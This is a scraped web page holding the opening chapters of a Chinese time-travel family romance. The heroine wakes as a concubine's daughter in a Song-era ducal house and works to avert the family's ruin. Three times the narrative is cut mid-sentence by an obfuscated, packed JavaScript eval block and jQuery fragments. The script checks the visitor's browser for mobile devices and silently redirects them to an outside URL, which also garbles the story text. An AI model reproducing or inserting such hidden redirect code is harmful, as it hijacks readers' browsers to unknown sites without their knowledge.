《表哥他心有猛虎》
1. 谏姨娘巧避祸端 入樊笼魂归曹府
林莹穿书了。
她歪在一张罗汉床上,微微发愣。
恍惚打量着四周,床被一道屏风隔开,透过屏风,隐约可见窗前摆着一张梨花木书案,案上摆着一摞书,各色家具放得整整齐齐。
这般精致奢华的光景,原该是梦里也难见的。
可她知晓,她穿进的,是一本讲尽曹府兴衰的书,而且成了府里最不起眼的五姑娘——曹晚书。
书里的鲁国公府曹家,赫赫扬扬一甲子,末了落得个树倒猢狲散的下场,满门抄斩,尸骨无存。
而曹晚书,下场最为凄惨。
她老爹曹望,为了十两碎银,就将亲生女儿卖去青楼做了红倌人。待到红颜老去,百病缠身,又被随手扔去乱葬岗,叫天不应,叫地不灵。
她不禁紧咬银牙,手捏紧衣角,心底下发狠誓:我绝不要落得这般下场!
正想着,一个梳着双环髻的小丫头,捧着黑漆托盘,踩着小碎步过来:“五姑娘,您可算醒了。快趁热喝了这碗金丝红枣桂圆粥吧,柳姨娘还在屋里候着您呢。”
这曹晚书是庶女,生母便是柳姨娘。上头有两位嫡出姐姐,自小就瞧她不顺眼,动辄打骂欺辱。
偏偏原主性子又是蛮横冲动的,在府里没半分体面,谁都能踩上一脚。
林莹敛了心神,接过粥碗,三两口喝净。
转眼又围上来四五个丫鬟,替她梳洗打扮。收拾妥当了,才跟着丫鬟往柳姨娘的院子去。
进了柳姨娘的屋子,便见柳静钗歪在榻上,见她进来,便蹙了蹙眉,嗔道:“你这孩子,可是磨磨蹭蹭的,叫我等得花儿都谢了。”
曹晚书福了福身,语气平和:“小娘唤女儿来,可是有什么事?”
柳姨娘拉过她的手,压低了声音道:“你大姐姐的亲事有着落了。你猜猜,是哪家?”
“女儿愚钝,猜不着,还请小娘明示。”
“是襄阳王。”柳姨娘又道,“如今东宫之位悬而未决,你大姐姐若真嫁了襄阳王,他日他若得了势,宋夫人还不得把咱们娘俩磋磨死?”
她说着,见曹晚书怔怔的,便恨铁不成钢地晃了晃她的肩膀:“我的儿啊,你可得争口气!”
曹晚书心里一阵发紧,原著里曹家覆灭的根由,正是这桩亲事。
大姐姐嫁入襄王府没几年,官家便立了瑞王为太子。襄阳王心有不甘,起兵谋反,兵败之后,曹家被连根拔起,满门获罪。有的进了大狱,有的被流放,凄惨之状,难以言表。
“你发什么呆呀?”说着,柳姨娘拿起帕子,呜呜咽咽地哭了起来。
曹晚书道:“这亲事绝不能成。”
柳姨娘一愣:“可那是王府,老爷和夫人对这门亲事都非常满意。”
“如今东宫未定,襄阳王是众矢之的。此时联姻,曹家便等于押上了全副身家。赢了,或许富贵滔天;可若输了,便是满门倾覆。小娘,您想过流放千里的日子吗?”
柳姨娘被她的话吓得一个哆嗦,脸色发白:“那该如何是好?难道要让你大姐姐出丑,坏了名声?”
“不可。”曹晚书摇头,“损了姐姐的名声,便是损了曹家所有女儿的名声,那是杀敌一千,自损八百的蠢办法。我们要做的,是让这婚事自然而然地不成,最好,是让父亲自己打消念头。”
“这谈何容易。”柳姨娘觉得女儿在异想天开。
“父亲看重家族兴衰,胜过一时富贵。小娘,您只需在父亲面前,如此这般说……”
她将襄阳王可能带来的风险,以及暂不站队,静观其变的稳妥之道,条分缕析地教给柳姨娘。
柳姨娘听着听着,有些惊异。她从未想过,自己这个平日里蛮横冲动的女儿,还有这般透彻缜密的心思。
她重重地点了点头:“好,娘听你的。”
是夜,曹望照旧来了柳姨娘的住处。往日里,二人总要温存半晌,说些体己话。可今夜,柳静钗一直垂着头,不住地叹气,眉间愁云不散。
曹望本待要她服侍,见她这副模样,便自己解了外袍,挂在衣架上,挨着她坐下,问道:“你这是怎么了?一脸的愁眉不展。”
柳姨娘轻轻摇头,声音怯怯的:“奴家…奴家不敢说。”
“你我之间,还有什么不能说的?”曹望掀开被子躺下,“但讲无妨。”
柳姨娘这才抬起头,眸光里满是忧虑:“奴家虽是个妇道人家,没读过什么书,可也知道,朝堂之事,风云变幻。如今官家不立太子,诸位王爷之间,怕是早已暗流涌动。襄阳王看着势头好,可谁能保准他日后能成大事?咱们曹家,此时万万不能和任何一位王爷扯上干系,否则,他日怕是要惹来大祸啊。”
这话刚落,曹望便坐起身,指着她斥道:“胡闹!朝堂之事,也是你能妄议的?”
柳姨娘不慌不忙,依旧柔声细语:“老爷息怒。奴家只是想着,若襄阳王他日败了,起兵谋反的罪名,岂是咱们曹家能担待的?”
这些利害,曹望何尝没有想过?
只是襄阳王对这门亲事十分上心,若是贸然回绝,不仅扫了王爷的颜面,曹家也要沦为天下人的笑柄。得罪了襄阳王,往后的日子,怕是举步维艰。
“你往日里,可从不屑说这些。”曹望皱着眉,满心疑惑。
柳姨娘依偎过去:“奴家也是曹家的人,曹家好,奴家才能好啊。”
“你头发长,见识短,鲁国府的事,轮不到你操心。”曹望不耐烦地挥挥手,“歇了吧。”
柳姨娘却不依,又晃着他的胳膊,娇声道:“老爷,您在朝堂多年,这些道理,比奴家明白得多。大姑娘的亲事,八字还没一撇呢。咱们只消对外说,大姑娘早已许了人家,这不就成了?”
曹望闭着眼,没应声,心里早已翻江倒海。柳姨娘的话,句句都戳在了他的心坎上。
在这储位未定的关头,盲目站队,实在是险棋。
第二日清晨,曹望在柳姨娘屋里用早膳。曹晚书早早地候在一旁,亲自布
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202113|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
菜,又端上一碟新做的梅花糕,模样精巧,香气扑鼻。
原著里的曹晚书,心高气傲,从不屑讨好长辈,对这父亲更是不假辞色,也难怪曹望待她薄情。如今林莹占了这身子,自然要改改路数。
曹望尝了一口梅花糕,赞道:“味道不错。你这丫头,倒是长大了,知道孝顺爹爹了。”
“父亲养育女儿一场,女儿孝顺爹爹,本就是天经地义。”曹晚书说着,又往他碗里夹了一筷子青菜,眉眼弯弯的,瞧着乖巧得很。
柳姨娘在一旁看着,满心欣慰。往日里,她磨破了嘴皮子,劝女儿去讨老爷的欢心,女儿总是嗤之以鼻。如今这般模样,真是难得。
她见曹望心情好,便趁热打铁道:“老爷,咱们晚儿也不小了,再过两年,便要及笄了。您可得多上点心,替她谋划谋划前程。”
曹晚书心里暗道不好。
这曹望,可是个视财如命,寡情薄义的。让他替自己挑夫婿,怕是要把她推入火坑。
曹望慢悠悠放下碗筷,惬意地往椅背上一靠,说道:“晚儿年纪尚小,且她上头还有两位姐姐,都还待字闺中呢。”
话声刚落,柳姨娘便急切反驳道:“那金丫头和玉丫头,可都是夫人亲生的。夫人挑选女婿,必定先紧着自己的亲女儿。”
话未说完,曹晚书实在听不下去,急忙拿起一块糕点,轻轻塞到柳姨娘嘴边,阻拦道:“小娘,虽说我并非夫人亲生,可也是在她房中养大的。我既尊称她一声母亲,夫人自然不会亏待我。”
曹望听了,不住点头,对女儿这番话甚是赞赏。紧接着,又开口道:“咱们山东老家,有个远房亲戚家的外甥,不日要来京城赶考,届时可能会在咱们府上借住些时日。那孩子不仅聪慧过人,模样还出众。十二岁便考中秀才,十七岁中了举人,可是当地有名的神童,人人都说他有宰相之才。”
“什么宰相之才,不过是个穷酸举子罢了。”柳姨娘忍不住奚落道,话一出口,才回过神,满脸惊讶,“老爷莫不是想把晚儿许配给这个穷酸举子?”
“休要这般贬低,我朝最重读书人,那孩子将来必定前程似锦。”
曹望瞥了一眼一旁默默不语的曹晚书,问她道,“晚儿可还记得,在山东老家时,曾见过的那位二表哥,名叫安亭蕴。你们小时候还一起玩耍过几日,他还带你上山抓过兔子呢。”
曹晚书刚穿进这本书来不久,哪里记得什么二表哥,只能无奈摇摇头。
曹望本就不喜柳姨娘这副看不起人的模样,一大早的好心情,瞬间消散殆尽。没坐多久,便借口有公务在身,匆匆出门去了。
次日清晨,鲁国府的小厮前往码头接人。听闻,来的正是山东老家远房的二表哥安亭蕴,曹晚书前些日子听曹望提过他。
一家人齐聚正厅,曹家老太太端坐上首,头戴抹额,慈眉善目,手中捧着汤婆子暖手。
曹老太太与宋夫人婆媳二人正聊得开心,此时小厮前来通报,说安亭蕴到了。
2. 亭蕴初到鲁国府 安亭蕴投亲曹府
曹府上下诸人目光皆齐刷刷投向门外。
只见一位风尘仆仆的少年郎掀开帘栊,款步而入。
他身量颀长,身着一袭圆领袍。眉峰温润如远山含黛,眼眸清亮似秋水横波,鼻梁直挺,唇线柔和。一眼望去,便知是个饱读诗书的温厚君子。
安亭蕴趋步上前,对着上首曹老太太、曹望公、宋夫人等,依次打恭作揖,进退周旋间行云流水,言谈举止里,满是温文尔雅的大家气度。
曹老太太待他在西侧椅子上坐定,满面堆笑问道:“你母亲身子可还康健?”
安亭蕴唇边噙着一抹浅笑道:“家母日日汤药不离,如今已见好转,尚能下床走动几步了。”
曹望捻着胡须,对他的赞赏之意溢于言表,颔首道:“早闻你敏而好学,小小年纪便有这般才学,当年昭文馆吕大学士,也不过十三岁得中秀才罢了。”
安亭蕴脸颊微微泛红,敛眸垂目,谦逊回禀:“吕相爷德才兼备,博古通今,实乃千古楷模。晚生虽不能至,然心向往之。”
曹望站起身来,将三个儿子拉至跟前,向安亭蕴引荐:“这是我家三个不成器的犬子,日后功课上,还得劳你多费心教导。”
曹辕、曹舆、曹轼三兄弟,齐齐对着安亭蕴拱手作揖,齐声唤道:“二表哥。”安亭蕴忙起身拱手还礼,神色谦和。
此时,曹家四位姑娘,也由宋夫人身边的邹妈妈从屏风后引领而出。
曹金书、曹玉书姐妹俩,悄悄抬眸偷觑了安亭蕴一眼,顿时双颊绯红,含羞带怯地敛衽行了万福礼。
曹晚书也好奇地抬眼打量这位传说中的神童二表哥,果然不负盛名,生得一副好皮囊。
“妹妹们安好。”安亭蕴嘴角上扬,露出一抹温润笑容,说罢从包里取出早已备好的锦盒,依次递到四位姑娘手中,“千里鹅毛,聊表心意。”
曹晚书接过锦盒,心里暗自揣测,里面约莫是支上好的湖笔。她笑盈盈地随两位姐姐一同道谢。
安亭蕴目光掠过曹晚书,心头不觉微微一动。
几年未见,这丫头已长这般大了。
他记得上次相见时,她还是个总角垂髫的小丫头,怯生生跟在宋夫人身后唤他“哥哥”,只因年纪小,口齿不清,总把“哥哥”唤作“得得”,如今回想起来,仍觉又好笑又可爱。
外头,鹅毛大雪纷纷扬扬,漫天遍野一片银白。
曹府上下的丫鬟婆子、小厮们都为着春节忙碌,脚步匆匆,无片刻停歇。
宋夫人请了城中有名的杂剧戏班子,又吩咐小厮往樊楼采买珍馐佳肴。门外爆竹声此起彼伏,接连不断,一派热闹喧阗。
安亭蕴出身并非富贵之家,家中仅靠几间铺子维持生计,母亲又常年汤药不断。
以往过年,不过比平日多添几样荤菜罢了。如今身处曹府,见这春节光景,不仅大摆宴席,更请了戏班子登台,吃的是山珍海味,穿的是绫罗绸缎,这般奢靡光景,直如神仙日子一般。
他寄人篱下,难免有些拘谨,只敢默默缩在角落。忽见身旁也有个小小的身影,同他一般不愿融入热闹人群,仔细一看,是曹家的五妹妹曹晚书。
戏班子的掌班捧着戏单,趋步至曹老太太跟前,恭恭敬敬递上:“老太太,您老人家拣几出喜欢的听?”
曹老太太笑容满面地接过,瞧见戏单首页便是《琵琶记》。
宋夫人也凑上前去看了,笑着提议:“不如就听《琵琶记》吧?”
曹老太太摇了摇头,叹道:“这《琵琶记》我听了不下几十回,每次听都气蔡伯喈,一朝金榜题名,便忘了结发妻子,抛妻弃母,好不混账!不过他最终落得个五雷轰顶的下场,倒也大快人心。”
这话恰好被躲在角落里的曹晚书听了去。她轻轻用胳膊肘碰了碰身旁的安亭蕴,半开玩笑道:“二表哥,你日后可千万别学蔡伯喈,中了状元便抛妻弃子,不然可是要遭五雷轰顶的。”
安亭蕴唇角微微勾起,轻声回道:“五妹妹说笑了,我既无结发妻子可抛,更断断做不出那般狼心狗肺之事。”
终于盼到开宴,曹晚书望着满桌的珍馐美味,脑子里除了奢侈二字,再想不出其他词语来形容。
她悄悄唤来负责采买的小厮询问,方知单单这几桌宴席,便花去了二百多两银子。
且不说这饭菜,单是请戏班子的酬劳,便已是一笔不菲的开销,再加上府中布置、给姑娘哥儿们制备新衣裳,桩桩件件皆是大把银子往外淌。
照这般光景下去,曹家即便不遭抄家之祸,这般入不敷出的奢靡耗费,家底迟早也得败干净了。
偌大的鲁国府,不单要养着曹家的子女,更有一众丫鬟婆子、小厮下人。这过年时节,每人还得给二三两银子的节钱,好让他们在府中安心当差。
不过这些都还只是次要的。
关键在于,曹家如今还有谁能撑得起门户呢?想当年曹老国公年轻时,驰骋沙场,南征北战,乃是大宋的开国功臣,因功勋卓著,被封为鲁国公。老国公病重之时,官家尚且亲自驾临府中探望。生前万民伞、匾额无数,死后更是配享太庙,何等荣耀。
按照朝中惯例,大臣去世,官家辍朝一日即可,可曹老国公薨逝时,官家直接辍朝两日,以表敬重。
如今呢?只剩曹望公承袭爵位。他膝下三子,庶出长子曹辕勤勉好学,嫡出的次子却放荡不羁,整日只知贪玩享乐,还嫉妒曹辕功课比自己好,常常在背后使些阴私伎俩。
这曹家内部早已暗流涌动,长此以往,怕是要出大乱子。唯有兄弟和睦,齐心协力,发奋攻读,考取功名,曹家才有重振之日啊!
曹晚书想到此处,不禁重重叹了口气。坐在她身旁的安亭蕴察觉到她的异样,不由得侧目看了她一眼,满心疑惑。
钟鸣鼎食的世家小姐,为何偏生总是唉声叹气,愁容满面?
老太太听戏听得高兴,忍不住拍手叫好,命身边的田妈妈给戏子们赏钱。
曹家三位哥儿早已坐不住了,尤其是三公子曹舆,一会儿探着脑袋往门外张望,一会儿又在席前踱来踱去,坐立难安。
曹老太太如何看不出他的心思,便开口道:“你们三个,陪着蕴哥儿,带姐姐妹妹们出去逛逛吧。”
宋夫人耳朵尖,闻言便给身后的邹妈妈使了个眼色,邹妈妈会意,悄悄从一旁退了出去。
汴京城的除夕夜,当真是热闹非凡。尤其是宣德门前,人山人海,摩肩接踵,想要挪动一步,都得侧着身子先挤过右肩,再挪过左肩,稍不留神,鞋面上便多了几个黑印子。
宣德门下搭了座山棚,听闻还请了怡红楼的张行首前来唱曲。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202114|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
幸亏曹家哥儿姐儿们来得尚早,不过一盏茶的功夫,这可容上千人的山棚便已座无虚席。
曹舆最为兴奋,扯着身旁的曹辕、曹轼便嚷道:“这张行首我在怡红楼见过,手如柔荑,肤如凝脂,当真貌若天仙。可惜是个清倌人,不然我早便重金为她梳拢了。”
他说得口水都要流下来,曹玉书最是看不惯他这副登徒子模样,忍不住白了他一眼,低声啐道:“不过是些闲花野草罢了。”
曹舆脸上的笑容褪去,勃然大怒,站起身来:“死丫头,你胡说什么!张行首才情卓绝,你懂什么,也配诋毁她!”
曹金书连忙摆出大姐姐的姿态,瞪了曹舆一眼:“行了,快坐下吧,这般当众喧哗,成何体统,莫要丢人现眼。”
恰在此时,张行首怀抱琵琶,款步走上台来,在凳上坐定,轻拢慢捻,婉转歌喉如枝上莺啼,清越动人。
一曲唱罢,台下掌声雷动,叫好声不绝于耳,其中尤以曹舆喊得最响。
张行首端起一个小托盘,向观众席走来。台下看客纷纷捧场,银子如泥沙般一把把往托盘里扔去。
曹舆兴高采烈地冲到张行首面前,咧嘴傻笑。
张行首瞥了他一眼,将托盘递到他跟前,娇声问道:“官人,奴家的曲子唱得可还入耳?”
“好听,自然是好听!”
张行首媚眼如丝,直勾勾望着他,捂嘴娇笑道:“想要再听奴家唱下去,可得给些赏钱呢~”
“哎哟,倒把这茬忘了!”曹舆一拍脑门,伸手摸向腰间,空空如也。来时太过匆忙,忘了带钱袋子。他又往袖中探去,亦是一无所获。
曹舆尴尬地挠了挠头,讪讪道:“不巧得很,来时匆忙,忘了带钱袋子。改日我亲自去怡红楼,给你捎一袋子白银便是。”
张行首见他身着银白狐皮袄,头戴红玉冠,一身贵气,显然不信他的话,嗤笑道:“噗,官人莫要哄奴家开心了。你坐在最前排,方才叫得最是响亮,如今奴家来讨赏,你倒一毛不拔了?”
“不不不,并非我舍不得,实在是忘了带!”曹舆急得满头大汗,目光急切地望向曹家兄妹,却无一人理会他。
曹玉书打了个哈欠,倦意上涌,不耐烦地嚷嚷着要走:“唱的什么东西,咿咿呀呀的,倒不如那边的女子相扑来得热闹。”
说罢便站起身要走,回头见无人跟来,不由得有些恼怒:“你们走不走?再不走我便一个人回去了!”
曹晚书这会子已打盹睡醒三四回,闻言连忙应道:“四姐姐,我跟你一起去。”
曹玉书鼻子一翘,轻哼一声:“这还差不多。”
二人刚要转身,便听得身后传来争执之声。
“拿不出银子就别充大爷,明明是个穷酸,偏要装模作样。”
曹舆气得双目圆睁,抡起拳头便要上前:“你说谁呢!睁大你的狗眼看看,我乃鲁国府曹家三公子,汴京城有头有脸的人物,哪个不认得我!”
那人愈发挑衅:“既是曹家三公子,怎么连几个赏钱都拿不出来?莫不是个空架子吧?”
“你还敢胡言,看我不割了你的舌头!”
曹舆气得浑身发抖,一拳便挥了过去。谁知话音刚落,不知从哪里窜出几个小厮,将一个麻袋套在他身上,扛起便往外跑,转眼便消失在人群之中。
3. 晚书巧言解僵局 逞顽心公子惹祸
出了这档子事,曹家兄妹与安亭蕴哪里还有半分逛兴,慌忙登上马车,循着那几个小厮的踪迹追了上去。
谁料一路追着,直直追到了鲁国府的门首。原来那几个套麻袋的小厮,都是曹府里的人。
出乎意料的是,这都是宋夫人一早安排好的。她素日里深知自己这个儿子的脾性,料定他出门定会惹是生非,早早便让邹妈妈吩咐妥当人手跟着。
只待他闯出祸来,不管三七二十一,直接套了麻袋带回府中,省得成日价在外头丢人现眼,闯出更大的乱子。
宋夫人将房门紧闭,把曹舆拉到跟前狠狠训了一通。可曹舆这厮,是半句也没听进去,反倒梗着脖子,句句顶嘴,气得宋夫人伏在桌上,哭得撕心裂肺,连声骂他是个混账畜牲。
屋里众人乱作一团,都忙着上前拉架劝解,唯有曹晚书与安亭蕴,悄无声息地立在院内。
夜已深,早过了后半夜。偌大的曹家府邸,院落连绵,回廊九曲,绕得人眼花缭乱。
安亭蕴初来乍到,认不清路径,只好央了曹晚书引路。
晚书手提一盏羊角灯笼,走在前面,不时回过头来,轻声道:“今日府上这般鸡飞狗跳,倒教你见笑了。”
安亭蕴缓步跟在她身后,温声笑道:“五妹妹说哪里话,府上意趣天然,倒不觉枯索。”
晚书听了,心下暗暗哂笑,原以为这位表兄是个不通世故的迂腐书蠹,不想言语间还挺玲珑通透。
一时之间,周遭静了下来,唯有虫鸣唧唧,伴着晚风拂过草木的簌簌轻响。
晚书觉有些局促,便又寻了话头问道:“听闻二表哥自幼便是神童,四书五经,早已烂熟于心了吧?”
安亭蕴谦和地笑了笑:“不过略识之无罢了,谈何烂熟。”说罢,他侧过头,反问她:“五妹妹平日里,都读些什么书?”
曹晚书掩唇轻笑,眉眼弯弯:“妹妹资质愚钝,不过认得几个字罢了,哪里敢说读过书呢。”
安亭蕴何等通透,立时便听出了她的言外之意,忙笑道:“惭愧惭愧,愚兄也不过是草草翻过几卷罢了。”
曹晚书听他这般说,再也忍不住,以帕掩口:“二哥哥,草草翻过可不成。待到他日金殿传胪,若是名落孙山,那才真真要惭愧呢。”
安亭蕴忍不住莞尔,佯作薄怒,道:“你这丫头,倒是会拿我打趣。若我名落孙山,定要赖在你身上。到那时,我便日日来寻你,要你赔我一个状元名头,看你还敢不敢这般取笑我。”
曹晚书这才惊觉自己说错话,失了分寸,连忙告饶:“是妹妹失言了,你莫要怪罪。二哥哥天资聪颖,又肯用功,他日必定高中,名扬天下。”
“你这促狭的小妮子。”两人一路说说笑笑,转瞬便到了安亭蕴暂住的院落门前。
“二哥哥早些安歇吧,妹妹告退了。”晚书说着,便要提灯转身。
“妹妹慢走,仔细脚下。”安亭蕴送她到院门首,殷殷叮嘱道。
曹晚书微微颔首,提着灯笼,款步而去。
安亭蕴倚着门框,目送那一点灯火,渐渐隐没在夜色里,直至杳然不见,犹自立于阶前。
夜风拂过衣衫,唇边一缕笑意未散,不知站了多久。
是夜,四姑娘曹玉书来到宋夫人的房中。母女二人相对而坐,喁喁低语,从襄阳王与大姐姐的婚事,渐渐便说到了安亭蕴身上。
一提起安亭蕴,曹玉书的脸颊便飞上两朵红云。
宋夫人一眼便察觉了女儿的异样,她嗔骂了一声“死丫头”,伸手夺过她手里的针线,随手扔到一旁,开门见山问道:“我问你,你可是对安亭蕴动了心思?”
“才没有呢。”曹玉书坐直了身子,强装出一副大小姐的矜持模样,摇头晃脑的。一双眼睛,早已羞得不敢去看宋夫人。
宋夫人也是从这个年纪走过来的,女儿心里打着什么算盘,她这个做娘的,岂会不知?
宋夫人语重心长地劝道:“听娘一句劝,你最好是死了这条心。你且想想,咱们曹家是什么人家?那安家又是什么门第?不过是个布衣寒门,沾了点和咱家八竿子打不着的亲戚关系,才来府里打秋风罢了。你爹爹念他读书上进,才容他暂住几日,待到春闱放榜,他便要卷铺盖走人了。”
曹玉书依旧有些不甘心,低声辩解道:“可是我朝最重读书人,二表哥十二岁便中了秀才,此番省试,必定能高中。他日若是入朝为官,前程定然不可限量啊。”
宋夫人叹了口气,缓缓道:“你爹爹说了,这两年官家便要立定太子人选了。不管将来是谁继承大统,你都是要进宫去的。我的儿,你可万万不能在这个时候犯糊涂。那安亭蕴有什么好?不过是有几分文采,生了一副好皮囊罢了。你若是能入宫为妃,可就能为咱们曹家,挣来泼天的富贵。”
曹玉书撇了撇嘴,满脸的不情愿:“母亲,女儿便是死,也誓不与人为妾,哪怕是皇帝的妾也不行!是,女儿入宫为妃,是能给曹家争光。可宫里的规矩森严,我可不想入那宫门,葬送了自己的一生。”
宋夫人听了女儿这话,也是一阵沉默。她太了解自己的女儿了,这般刚烈执拗的性子,真要入了宫,怕是连怎么死的都不知道。
她沉思半晌,终是下定了决心,无论如何,都要好好教教两个女儿宫里的规矩,也好让她们多个傍身的本事。
可她自己,这辈子也未曾踏进宫门半步,不晓得宫里的那些规矩章程。
无奈之下,次日一早,她只好硬着头皮,去求曹老太太。
曹老太太乃是官家亲封的郡主娘娘,自幼便常入宫伴驾,对那些宫廷礼仪,自然是了如指掌。这几个姑娘,毕竟都是她的亲孙女,教她们些规矩,也是分内之事。
可任凭宋夫人好话说尽,曹老太太迟迟不肯松口。
宋夫人心中焦急,不由得放低了姿态,苦苦哀求道:“婆母,儿媳求求您了,金丫头和玉丫头,可都是您的亲孙女啊,您就发发慈悲,教教她们吧。”
老太太没好气地瞪了她一眼,沉声道:“我曹家的孙女,难道就只有这两个吗?晚丫头和兰丫头,就不是我的亲孙女了?”
宋夫人被老太太一语点醒,这才想起这两个丫头,连忙打圆场道:“婆母恕罪,儿媳失言了。那五丫头和兰丫头,她们……她们日后又不进宫,哪里用得着学这些规矩。”
这话一出,更是惹得老太太动了怒,她冷哼一声,厉声道:“难道只有进宫,才用得着学规矩吗?她们日后总要出嫁,总要为人主母,掌管中馈。若是连半点规矩都不懂,岂不是要任人耻笑,丢尽我曹家的脸面!”
“是是是,婆母教训的是。”宋夫人连连点头,不敢再多言,忙不迭地让身后的邹妈妈,赶紧去把四位姑娘都叫来。
不多时,四位姑娘齐齐来到老太太房中,敛衽行礼,恭恭敬敬地立在跟前,听候训示。
“身为女子,首要的便是勤于蚕桑、精于织绩、擅于裁缝与饮膳。这些女工之事,你们可以不用亲手操劳,但必须件件都会。”老太太放下手中的茶碗,目光扫过四个孙女,又缓缓道,“其次,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202115|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是礼仪、管家、点茶、插花这些本事。这些东西,日后你们嫁了人,当家理事,样样都用得上。”
曹晚书听得暗暗咋舌,这些东西,她只在书本上见过,不曾实践。
“这些本事,我会慢慢教给你们。都坐下吧。”老太太摆了摆手,语气缓和了些许。
四位姑娘再次行礼,齐声应道:“是。”
待她们各自落座,老太太余怒未消,又忍不住告诫道:“你们姐妹四人,以后应该互敬互爱,同心同德。切不可学你们的母亲和婶娘那般,离心离德,厚此薄彼。”
曹晚书听罢,立时便明白了其中的关节。
这屋里的奴仆丫鬟,多半是宋夫人的眼线,老太太这番话,明着是训斥姐妹四人,实则是说给宋夫人听的。可这话传出去,自己这个不尴不尬的身份,怕是又要被推到风口浪尖上了。
曹晚书心念电转,连忙讪讪一笑,脆声说道:“祖母,其实是孙女偷懒耍滑,昨日特意求了母亲,让她不要叫我来学规矩的。不过幸亏母亲还是把我送来了,祖母这番教导,真是字字珠玑,孙女受益匪浅。若是今日没来,那才真是亏大了呢!”
一番话,说得老太太眉开眼笑,忍不住点着她的额头,笑骂道:“你这个滑头的小猢狲。”
见老太太消了气,曹晚书这才暗暗松了口气。
陶然轩内,宋夫人端坐着,听邹妈妈回话。
“她当真这般说?”宋夫人面露惊讶,有些不敢置信,又追问道。
邹妈妈笃定地点了点头:“千真万确,老太太屋里的檀香姑娘,亲口跟我说的,一字不差。”
宋夫人听罢,忍不住笑道:“这个五丫头,倒是没白养她一场,还知道为我解围。她这话说得,既不得罪老太太,又把老太太哄得眉开眼笑,倒不像是个小孩子能说出来的话,真是个机灵鬼。”
邹妈妈在一旁附和道:“可不是嘛,谁能料到,她一个小姑娘家,还有这般玲珑心思。不过她能在老太太跟前,替夫人说句好话,倒是真让人刮目相看。”
宋夫人轻哼一声:“幸亏她没随了她那不知廉耻的亲娘。说到底,还是我教导有方,才把这几个姑娘,调教得这般大方得体。”
邹妈妈连忙趁热打铁,又道:“夫人,奴婢还听说一件事。前日柳姨娘在老爷跟前说您的坏话,您猜,五姑娘是怎么做的?”
宋夫人顿时来了兴致,瞪大眼睛,凑近了问道:“她是怎么做的?”
“五姑娘当场就把柳姨娘数落了一通,还在老爷面前,说了您一大堆的好话。说您虽不是她的生母,却待她视如己出,真心实意地为她好,从来不曾亏待过她。”
宋夫人听完,心里头吃了蜜一般甜,喜滋滋地说道:“这孩子,总算还有点良心。”
曹家四位姑娘,在老太太屋里,足足拘了十数日,日日跟着学那些繁琐的规矩,只学得头昏脑涨,叫苦不迭。
好不容易捱到正月十五将近,才得了老太太的恩典,准许她们各自回房,松散几日。
曹晚书早已渐渐适应了这里的生活,虽没有手机消遣解闷,可闺阁之中,打发时间的玩意儿却也不少。围棋、叶子戏、双陆、投壶,花样百出,各有各的趣味。
唯有一样,她那爱睡懒觉的老毛病,是半点没改。这日,她睡得酣甜,窗外天色大亮。
房门被轻轻推开,两个身影蹑手蹑脚地走了进来。这两个促狭鬼相视一笑,又轻手轻脚地摸到床前。
曹玉书屏声静气,瞅准时机,猛地伸手,将锦被一把掀了开来!
4. 三书调戏安亭蕴 扎花灯闺阁竞灵巧
“哎哟!”曹晚书身上骤然一凉,惊得一个激灵坐直起来,睡眼惺忪,鬓发蓬松。定睛一瞧,只见曹金书、曹玉书两个,已是笑得花枝乱颤,捂着肚子直不起腰。
“姐姐,好姐姐们,你们可别闹我了。”“曹晚书揉着眼睛,嘟着嘴,腮帮子鼓鼓的,显是没睡饱,带了几分娇憨的恼意。
见她没睡醒闹起脾气来,曹玉书也不笑了,上去拍了拍她道:“五妹妹,别睡了,今儿正月十五,外头热闹着呢,咱们也出去瞧瞧。”
“好不容易得闲能睡个懒觉,姐姐们就让我再睡会儿罢。”
昨个曹晚书跟丫头们打牌打到了半夜,这才睡了没几个时辰,就被他们喊起来,此时瞌睡虫上了脑,昏昏沉沉的。
“这丫头,生了一身懒骨。”曹金书拿她没有办法,只好上去帮她先盖好了被子,又过去挽着曹玉书的胳膊,“走,咱们俩今儿晚上去看花灯,不带她,让她在屋子里待一整天。”
曹晚书曾经只在书中了解过东京汴梁的繁华,每逢佳节,外面都格外的热闹。
除夕那夜倒是出去长了见识,但因为曹舆在外头闹事,无奈折返回府,都还没能在外面好好的逛逛。
这次好不容易来了一个正月十五闹花灯,岂有不出去凑凑热闹之理?
曹晚书瞬间清醒了过来,连忙把她二人给叫住:“二位姐姐等等我,我这就来。”
收拾好了行头,曹晚书便跟在两位姐姐屁股后面走着。这时,曹金书突然出了一个主意,说要去二表哥房里看看他在做什么。
曹金书与曹玉书都猜,依着安亭蕴的性子,此刻定是在苦读。
